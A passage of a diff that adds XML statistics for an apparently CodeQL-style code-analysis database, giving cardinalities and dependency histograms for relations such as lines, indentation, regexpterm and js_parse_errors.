+<a>19</a> +<b>23</b> +<v>3833</v> +</b> +<b> +<a>23</a> +<b>1390</b> +<v>1514</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>typ</src> +<trg>propertyType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19351</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>10786</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>5073</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>2639</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>3864</v> +</b> +<b> +<a>7</a> +<b>22</b> +<v>3334</v> +</b> +<b> +<a>22</a> +<b>33</b> +<v>3710</v> +</b> +<b> +<a>33</a> +<b>1390</b> +<v>548</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4735</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7379</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2728</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1467</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>1481</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>1878</v> +</b> +<b> +<a>11</a> +<b>30</b> +<v>1682</v> +</b> +<b> +<a>30</a> +<b>7825</b> +<v>1070</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>propertyType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>14690</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2698</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1925</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>1697</v> +</b> +<b> +<a>8</a> +<b>3373</b> +<v>1410</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>propertyType</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>112801</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>12999</v> +</b> +<b> +<a>3</a> +<b>19440</b> +<v>5057</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>propertyType</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>129508</v> +</b> +<b> +<a>2</a> +<b>3475</b> +<v>1349</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>lines</name> +<key>id</key> +<cardinality>1622184</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1622184</v> +</e> +<e> +<k>toplevel</k> +<v>5312</v> +</e> +<e> +<k>text</k> +<v>648122</v> +</e> +<e> +<k>terminator</k> +<v>6</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1622184</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1622184</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>terminator</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1622184</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>12</b> +<v>425</v> +</b> +<b> +<a>12</a> +<b>24</b> +<v>415</v> +</b> +<b> +<a>24</a> +<b>37</b> +<v>419</v> +</b> +<b> +<a>37</a> +<b>50</b> +<v>404</v> +</b> +<b> +<a>50</a> +<b>66</b> +<v>411</v> +</b> +<b> +<a>66</a> +<b>85</b> +<v>400</v> +</b> +<b> +<a>85</a> +<b>108</b> +<v>405</v> +</b> +<b> +<a>108</a> +<b>138</b> +<v>402</v> +</b> +<b> +<a>138</a> +<b>174</b> +<v>402</v> +</b> +<b> +<a>174</a> +<b>232</b> +<v>405</v> +</b> +<b> +<a>232</a> +<b>331</b> +<v>399</v> +</b> +<b> +<a>331</a> +<b>547</b> +<v>399</v> +</b> +<b> +<a>548</a> +<b>4700</b> +<v>399</v> +</b> +<b> +<a>4783</a> +<b>277404</b> +<v>27</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>11</b> +<v>441</v> +</b> +<b> +<a>11</a> +<b>21</b> +<v>427</v> +</b> +<b> +<a>21</a> +<b>30</b> +<v>414</v> +</b> +<b> +<a>30</a> +<b>40</b> +<v>452</v> +</b> +<b> +<a>40</a> +<b>51</b> +<v>435</v> +</b> +<b> +<a>51</a> +<b>64</b> +<v>413</v> +</b> +<b> +<a>64</a> +<b>79</b> +<v>404</v> +</b> +<b> +<a>79</a> +<b>96</b> +<v>401</v> +</b> +<b> +<a>96</a> +<b>121</b> +<v>400</v> +</b> +<b> +<a>121</a> +<b>158</b> +<v>401</v> +</b> +<b> +<a>158</a> +<b>220</b> +<v>399</v> +</b> +<b> +<a>220</a> +<b>387</b> +<v>401</v> +</b> +<b> +<a>388</a> +<b>60934</b> +<v>324</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>terminator</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5046</v> +</b> +<b> +<a>2</a> +<b>6</b> +<v>266</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>513961</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>84265</v> +</b> +<b> +<a>3</a> +<b>49</b> +<v>48993</v> +</b> +<b> +<a>49</a> +<b>175121</b> +<v>903</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>569267</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>56143</v> +</b> +<b> +<a>3</a> +<b>5068</b> +<v>22712</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>terminator</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>647931</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>191</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>terminator</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>349</a> +<b>350</b> +<v>1</v> +</b> +<b> +<a>1830</a> +<b>1831</b> +<v>1</v> +</b> +<b> +<a>1619996</a> +<b>1619997</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>terminator</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>349</a> +<b>350</b> +<v>1</v> +</b> +<b> +<a>5218</a> +<b>5219</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>terminator</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +<b> +<a>110</a> +<b>111</b> +<v>1</v> +</b> +<b> +<a>1093</a> +<b>1094</b> +<v>1</v> +</b> +<b> +<a>647111</a> +<b>647112</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>indentation</name> +<cardinality>1145010</cardinality> +<columnsizes> +<e> +<k>file</k> +<v>5728</v> +</e> +<e> +<k>lineno</k> +<v>40788</v> +</e> +<e> +<k>indentChar</k> +<v>2</v> +</e> +<e> +<k>indentDepth</k> +<v>72</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>file</src> +<trg>lineno</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>9</b> +<v>440</v> +</b> +<b> +<a>9</a> +<b>18</b> +<v>471</v> +</b> +<b> +<a>18</a> +<b>29</b> +<v>439</v> +</b> +<b> +<a>29</a> +<b>41</b> +<v>451</v> +</b> +<b> +<a>41</a> +<b>54</b> +<v>460</v> +</b> +<b> +<a>54</a> +<b>71</b> +<v>442</v> +</b> +<b> +<a>71</a> +<b>91</b> +<v>441</v> +</b> +<b> +<a>91</a> +<b>118</b> +<v>430</v> +</b> +<b> +<a>118</a> +<b>152</b> +<v>432</v> +</b> +<b> +<a>152</a> +<b>205</b> +<v>434</v> +</b> +<b> +<a>205</a> +<b>295</b> +<v>431</v> +</b> +<b> +<a>295</a> +<b>503</b> +<v>430</v> +</b> +<b> +<a>503</a> +<b>38151</b> +<v>427</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>indentChar</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5692</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>36</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>indentDepth</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>287</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>401</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>665</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>815</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>814</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>687</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>567</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>390</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>503</v> +</b> +<b> +<a>11</a> +<b>17</b> +<v>462</v> +</b> +<b> +<a>17</a> +<b>67</b> +<v>137</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>lineno</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10935</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5303</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>12061</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>3644</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>3223</v> +</b> +<b> +<a>13</a> +<b>31</b> +<v>3090</v> +</b> +<b> +<a>31</a> +<b>3986</b> +<v>2532</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>lineno</src> +<trg>indentChar</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>38720</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2068</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>lineno</src> +<trg>indentDepth</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11626</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7847</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>10434</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2688</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>3316</v> +</b> +<b> +<a>8</a> +<b>13</b> +<v>3144</v> +</b> +<b> +<a>13</a> +<b>39</b> +<v>1733</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>indentChar</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>42</a> +<b>43</b> +<v>1</v> +</b> +<b> +<a>5722</a> +<b>5723</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>indentChar</src> +<trg>lineno</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2068</a> +<b>2069</b> +<v>1</v> +</b> +<b> +<a>40788</a> +<b>40789</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>indentChar</src> +<trg>indentDepth</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>72</a> +<b>73</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>indentDepth</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>6</b> +<v>6</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>6</v> +</b> +<b> +<a>9</a> +<b>20</b> +<v>6</v> +</b> +<b> +<a>21</a> +<b>30</b> +<v>6</v> +</b> +<b> +<a>38</a> +<b>57</b> +<v>6</v> +</b> +<b> +<a>59</a> +<b>90</b> +<v>6</v> +</b> +<b> +<a>90</a> +<b>124</b> +<v>6</v> +</b> +<b> +<a>132</a> +<b>160</b> +<v>6</v> +</b> +<b> +<a>165</a> +<b>211</b> +<v>6</v> +</b> +<b> +<a>213</a> +<b>337</b> +<v>6</v> +</b> +<b> +<a>377</a> +<b>1532</b> +<v>6</v> +</b> +<b> +<a>1919</a> +<b>5487</b> +<v>6</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>indentDepth</src> +<trg>lineno</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>8</b> +<v>6</v> +</b> +<b> +<a>11</a> +<b>19</b> +<v>6</v> +</b> +<b> +<a>25</a> +<b>44</b> +<v>6</v> +</b> +<b> +<a>53</a> +<b>67</b> +<v>6</v> +</b> +<b> +<a>67</a> +<b>89</b> +<v>6</v> +</b> +<b> +<a>102</a> +<b>169</b> +<v>6</v> +</b> +<b> +<a>183</a> +<b>239</b> +<v>6</v> +</b> +<b> +<a>269</a> +<b>411</b> +<v>6</v> +</b> +<b> +<a>417</a> +<b>971</b> +<v>6</v> +</b> +<b> +<a>1129</a> +<b>2732</b> +<v>6</v> +</b> +<b> +<a>4374</a> +<b>9301</b> +<v>6</v> +</b> +<b> +<a>11828</a> +<b>21226</b> +<v>6</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>indentDepth</src> +<trg>indentChar</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>62</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>10</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>js_parse_errors</name> +<cardinality>3</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>3</v> +</e> +<e> +<k>toplevel</k> +<v>3</v> +</e> +<e> +<k>message</k> +<v>1</v> +</e> +<e> +<k>line</k> +<v>3</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>line</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>line</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>line</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>line</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>line</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>line</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>regexpterm</name> +<key>id</key> +<cardinality>33197</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>33197</v> +</e> +<e> +<k>kind</k> +<v>25</v> +</e> +<e> +<k>parent</k> +<v>13313</v> +</e> +<e> +<k>idx</k> +<v>76</v> +</e> +<e> +<k>tostring</k> +<v>4610</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33197</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33197</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33197</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33197</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>12</a> +<b>16</b> +<v>2</v> +</b> +<b> +<a>59</a> +<b>100</b> +<v>2</v> +</b> +<b> +<a>146</a> +<b>265</b> +<v>2</v> +</b> +<b> +<a>445</a> +<b>479</b> +<v>2</v> +</b> +<b> +<a>599</a> +<b>620</b> +<v>2</v> +</b> +<b> +<a>637</a> +<b>642</b> +<v>2</v> +</b> +<b> +<a>826</a> +<b>1058</b> +<v>2</v> +</b> +<b> +<a>1067</a> +<b>1474</b> +<v>2</v> +</b> +<b> +<a>1573</a> +<b>1693</b> +<v>2</v> +</b> +<b> +<a>2613</a> +<b>3372</b> +<v>2</v> +</b> +<b> +<a>15489</a> +<b>15490</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>2</v> +</b> +<b> +<a>15</a> +<b>46</b> +<v>2</v> +</b> +<b> +<a>79</a> +<b>132</b> +<v>2</v> +</b> +<b> +<a>132</a> +<b>331</b> +<v>2</v> +</b> +<b> +<a>367</a> +<b>381</b> +<v>2</v> +</b> +<b> +<a>437</a> +<b>638</b> +<v>2</v> +</b> +<b> +<a>641</a> +<b>737</b> +<v>2</v> +</b> +<b> +<a>825</a> +<b>1005</b> +<v>2</v> +</b> +<b> +<a>1391</a> +<b>1403</b> +<v>2</v> +</b> +<b> +<a>1465</a> +<b>1645</b> +<v>2</v> +</b> +<b> +<a>2691</a> +<b>3963</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>2</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>2</v> +</b> +<b> +<a>17</a> +<b>19</b> +<v>2</v> +</b> +<b> +<a>19</a> +<b>21</b> +<v>2</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>2</v> +</b> +<b> +<a>25</a> +<b>27</b> +<v>2</v> +</b> +<b> +<a>27</a> +<b>30</b> +<v>2</v> +</b> +<b> +<a>42</a> +<b>49</b> +<v>2</v> +</b> +<b> +<a>73</a> +<b>74</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>6</a> +<b>11</b> +<v>2</v> +</b> +<b> +<a>13</a> +<b>28</b> +<v>2</v> +</b> +<b> +<a>31</a> +<b>59</b> +<v>2</v> +</b> +<b> +<a>65</a> +<b>78</b> +<v>2</v> +</b> +<b> +<a>100</a> +<b>118</b> +<v>2</v> +</b> +<b> +<a>149</a> +<b>171</b> +<v>2</v> +</b> +<b> +<a>175</a> +<b>391</b> +<v>2</v> +</b> +<b> +<a>433</a> +<b>791</b> +<v>2</v> +</b> +<b> +<a>1992</a> +<b>1993</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7691</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2568</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>924</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>1189</v> +</b> +<b> +<a>7</a> +<b>77</b> +<v>941</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10080</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2026</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>1068</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>139</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7691</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2568</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>924</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>1189</v> +</b> +<b> +<a>7</a> +<b>77</b> +<v>941</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7733</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2644</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>940</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>1230</v> +</b> +<b> +<a>7</a> +<b>32</b> +<v>766</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>7</v> +</b> +<b> +<a>8</a> +<b>13</b> +<v>7</v> +</b> +<b> +<a>15</a> +<b>22</b> +<v>6</v> +</b> +<b> +<a>26</a> +<b>35</b> +<v>5</v> +</b> +<b> +<a>37</a> +<b>51</b> +<v>6</v> +</b> +<b> +<a>53</a> +<b>75</b> +<v>6</v> +</b> +<b> +<a>79</a> +<b>141</b> +<v>6</v> +</b> +<b> +<a>186</a> +<b>325</b> +<v>6</v> +</b> +<b> +<a>385</a> +<b>1182</b> +<v>6</v> +</b> +<b> +<a>1578</a> +<b>13314</b> +<v>5</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>18</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>8</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>6</v> +</b> +<b> +<a>9</a> +<b>13</b> +<v>6</v> +</b> +<b> +<a>13</a> +<b>16</b> +<v>7</v> +</b> +<b> +<a>17</a> +<b>20</b> +<v>7</v> +</b> +<b> +<a>21</a> +<b>25</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>7</v> +</b> +<b> +<a>8</a> +<b>13</b> +<v>7</v> +</b> +<b> +<a>15</a> +<b>22</b> +<v>6</v> +</b> +<b> +<a>26</a> +<b>35</b> +<v>5</v> +</b> +<b> +<a>37</a> +<b>51</b> +<v>6</v> +</b> +<b> +<a>53</a> +<b>75</b> +<v>6</v> +</b> +<b> +<a>79</a> +<b>141</b> +<v>6</v> +</b> +<b> +<a>186</a> +<b>325</b> +<v>6</v> +</b> +<b> +<a>385</a> +<b>1182</b> +<v>6</v> +</b> +<b> +<a>1578</a> +<b>13314</b> +<v>5</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>4</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>6</v> +</b> +<b> +<a>7</a> +<b>10</b> +<v>6</v> +</b> +<b> +<a>10</a> +<b>15</b> +<v>6</v> +</b> +<b> +<a>16</a> +<b>21</b> +<v>7</v> +</b> +<b> +<a>21</a> +<b>26</b> +<v>6</v> +</b> +<b> +<a>29</a> +<b>48</b> +<v>6</v> +</b> +<b> +<a>48</a> +<b>75</b> +<v>6</v> +</b> +<b> +<a>82</a> +<b>147</b> +<v>6</v> +</b> +<b> +<a>158</a> +<b>940</b> +<v>6</v> +</b> +<b> +<a>3258</a> +<b>3259</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3026</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>751</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>391</v> +</b> +<b> +<a>5</a> +<b>49</b> +<v>346</v> +</b> +<b> +<a>49</a> +<b>1013</b> +<v>96</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4605</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3041</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>746</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>389</v> +</b> +<b> +<a>5</a> +<b>53</b> +<v>346</v> +</b> +<b> +<a>54</a> +<b>875</b> +<v>88</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4102</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>351</v> +</b> +<b> +<a>5</a> +<b>58</b> +<v>157</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>regexp_parse_errors</name> +<key>id</key> +<cardinality>122</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>122</v> +</e> +<e> +<k>regexp</k> +<v>41</v> +</e> +<e> +<k>message</k> +<v>5</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>regexp</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>122</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> 